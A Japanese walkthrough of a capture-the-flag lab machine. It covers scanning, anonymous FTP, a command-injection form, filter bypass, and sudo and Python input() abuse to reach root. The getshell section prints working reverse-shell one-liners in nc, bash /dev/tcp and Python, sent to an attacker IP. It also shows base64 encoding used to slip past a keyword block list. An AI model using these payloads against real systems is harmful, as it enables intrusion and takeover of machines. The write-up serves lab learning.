靶機難易度:中程度
flag 数:2
ツールおよび脆弱性情報#
- netdiscover
- nmap
- gobuster
- ftp 匿名ログインでファイルをダウンロード
- echo の bash と python でシェルをリバウンド
- nc 指定した ip に接続してスクリプトを実行
- sudo -l 現在のユーザー権限を確認
- .pyc ファイルの逆コンパイル
- input () 関数の脆弱性
- nc でファイルを転送
0x01 情報収集#
靶機のスキャン#
netdiscoverの-rパラメータで192.168.1.0/16をスキャンするか、ルーター管理画面で有線接続されたデバイスを確認して靶機のipを取得
nmapでホストおよびポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.7

21のftpサービスは匿名ログインできるようで、nmapが直接ftp接続後のファイル内容を示しました
それではftpで接続し、これらの 3 つのファイルの内容を確認します:
ftp ipコマンドでftpサーバーに接続し、ユーザー名は匿名:anonymous、パスワードはそのままエンターでログイン

mget *.*で全ファイルをダウンロードします。ダウンロードするか確認されるので、エンターを押すだけで OK です。また、ftpのインタラクティブ端末でcatして確認することもできます:

得られた情報はアカウントとパスワードのようで、1337がゲームであることを示唆しています
sshのポート状態はfilteredなので、これ以上は触れません
それ以外に1337と7331の 2 つのポートがあります
1337ポートのフィンガープリンティング情報には次のように書かれています:
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift
これはCTFでよく見られるnc接続で数学の問題をリバウンドする操作だと推測され、上記の情報とほぼ同じです
後で時間があればスクリプトを置いておきます
7331でスキャンした情報にはhttp-server-headerとhttp-titleフィールドが含まれており、httpサービスがこのポートで開いていると推測されます
開いてみると、やはり:

脆弱性情報のスキャン#
nmapで脆弱性情報をスキャン:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

利用できるものはありませんでした
パスのスキャン#
先ほどのスキャンでwebサービスがデフォルトの80ポートではなく7331であることが分かったので、スキャン時にはポートを変更することを忘れないでください
gobuster でパスをスキャン:
gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
dirbusterの辞書はdirbusterの元パッケージをダウンロードし、辞書をこのディレクトリに移動することで取得できます:
wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

/wishと/genieの 2 つのディレクトリがスキャンされ、ip:7331/wishにアクセスすると次のようになります:

何かを入力すると、ip:7331/genie?name=にリダイレクトされ、後ろに実行されるコマンドが続くことが分かり、ここにシステムコマンドインジェクションが存在することが推測されます
0x02 ウェブサイトの身分 getshell#
システムコマンドを実行できるので、直接ncでシェルをリバウンドしましょう
msfでリスニングを迅速に開始:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

ip:7331/wishにnc -t -e /bin/bash 192.168.1.11 3333と入力
結果はgenie?name=Wrong+choice+of+wordsにリダイレクトされ、キーワードがブロックされていることを示しています
burpsuiteを使ってブロックされたキーワードを探ります
- ls をテストして、ウェブサイトのルートディレクトリのファイルとディレクトリを確認します(%0A は改行の URL エンコード)
- app.py
- app.pyc
- static/
- templates/

ls -lahも正常に実行でき、スペースがブロックされていないことが分かります
whoamiは正常に結果を返し、www-dataが得られます
uname -aでこれはUbuntuであることが分かりました:

echo whoamiも実行できるので、試してみます
bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
- bash -i はインタラクティブな bash 環境を生成します
- 0>&1 は標準入力と標準出力を結合し、前の標準出力にリダイレクトします
または、pythonを使ってシェルをリバウンドすることもできます:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
上記のコマンドをbase64で暗号化し、burpで以下のコマンドを入力します:
echo 暗号化された内容 | base64 -d | bash
注意:ここではウェブページでの実行とburpでの実行にエンコーディングの差異があるため、burpで実行する場合はスペースとプラスを URL エンコードすることをお勧めします
テストの結果、pythonがシェルをリバウンドできることが分かりました

0x03 一般ユーザー getshell#
ウェブサイトのユーザーのシェルを取得した後、最初のステップは現在のディレクトリのファイルを確認することです:

前にburpでインターセプトした結果と同じで、/etc/passwdを確認すると、2 つのユーザーsamとnitishが得られました
しかし、彼らのユーザーディレクトリ内のファイルには閲覧権限がありません
そこでウェブサイトのルートディレクトリに戻り、app.pyファイルの内容を確認します:

大まかな内容は先ほどインターセプトした関数コードで、さらに次の情報が得られました:
/home/nitish/.dev/creds.txt
このファイルを確認します:

nitishアカウントのパスワードp4ssw0rdStr3r0n9が得られました。ユーザーにログインする前に、標準のttyを有効にすることを忘れないでください:
python -c 'import pty; pty.spawn("/bin/bash")'

nitishユーザーのディレクトリで最初のflagを取得しました
0x04 権限昇格 root#
現在のユーザーが実行できるsudoコマンドを確認します:

現在のnithshアカウントは、パスワードなしでsamユーザーのgenieスクリプトを実行できます
genieの使い方を見てみましょう:

-pパラメータがあり、これが私たちにshellを提供してくれるかもしれません、試してみます:
sudo -u sam genie -p "/bin/sh"

-eと-pパラメータはどちらも機能せず、stringsコマンドで/usr/bin/genieの内容を確認します
最終的に-cmdというパラメータがあることが分かり、コマンドを実行してsamのshellを取得します:
sudo -u sam /usr/bin/genie -cmd id

現在のアカウントはsamに切り替わり、次にsamがsudoで実行できるコマンドを確認します:

samはlagoスクリプトを実行できるので、実行してみます:
最初のBe naughty:

特に意味はなく、次のGuess the number:

1% の確率で、1337ポートよりも簡単に扱えるようです。また、pythonのinput()には脆弱性があります
3 つ目のRead some damn files

ファイルを読むことができますが、パスを知っている必要があります。4 つ目のWork:

これも特に意味はなく、もう一度数字を推測してみます。数字を入力せず、他のものを入力すると:

numを入力した後、/rootディレクトリを確認できることが分かり、/root/proof.shを実行してrootのflagを取得しました

0x05 シェル取得の理由を解読#
これは完全に偶然の結果で、実際にはpythonファイルのコンパイルファイルpycを見つけるべきでした
pycはバイナリファイルで、Python ファイルがコンパイルされた後に生成されるファイルです
それから元の.pyファイルを逆コンパイルし、inputの脆弱性を探します。一般的な例は以下の通りです:

つまり、入力された文字を検証せず、文字列として処理し、設定された文字列が出力されるということです
したがって、numを入力することで成功したことは、Guess the numberの関数コードがほぼ次のように書かれていることを示しています:
def guess_the_number():
input_number = input("Choose a number between 1 to 100:\nEnter your number:")
if num == input_number:
return True
ここで逆コンパイルしてみると、samのユーザーディレクトリを確認します:

.pycファイルを見つけ、それを.pyファイルに逆コンパイルしてみます
まず、攻撃機に転送します。ここではncを使用します
靶機でリスニングポートを開き、ファイルを転送:nc -lvp 3456 < .pyc
ターゲット機が靶機に接続してファイルを受信:nc 192.168.1.6 3456 > .pyc


数秒待ってから靶機側でctrl+cで終了します
その後、uncompyle6を使用して.pycを逆コンパイルします。これはuncompyle2の後継です
uncompyle2はpython2.7に特化していますが、時にはuncompyle6の方が精度が高いことがあります
しかし、ほとんどの場合、uncompyle6の方が精度が高く、ほぼメンテナンスされていません
uncompyle6はほぼすべてのpythonバージョンをサポートしており、インストールは次のように行います:
proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install
これでインストールが完了し、.pycを逆コンパイルします:
uncompyle6 .pyc -o exp.py

やはり私の前の推測とほぼ同じでした
参考記事:
この記事は完了です。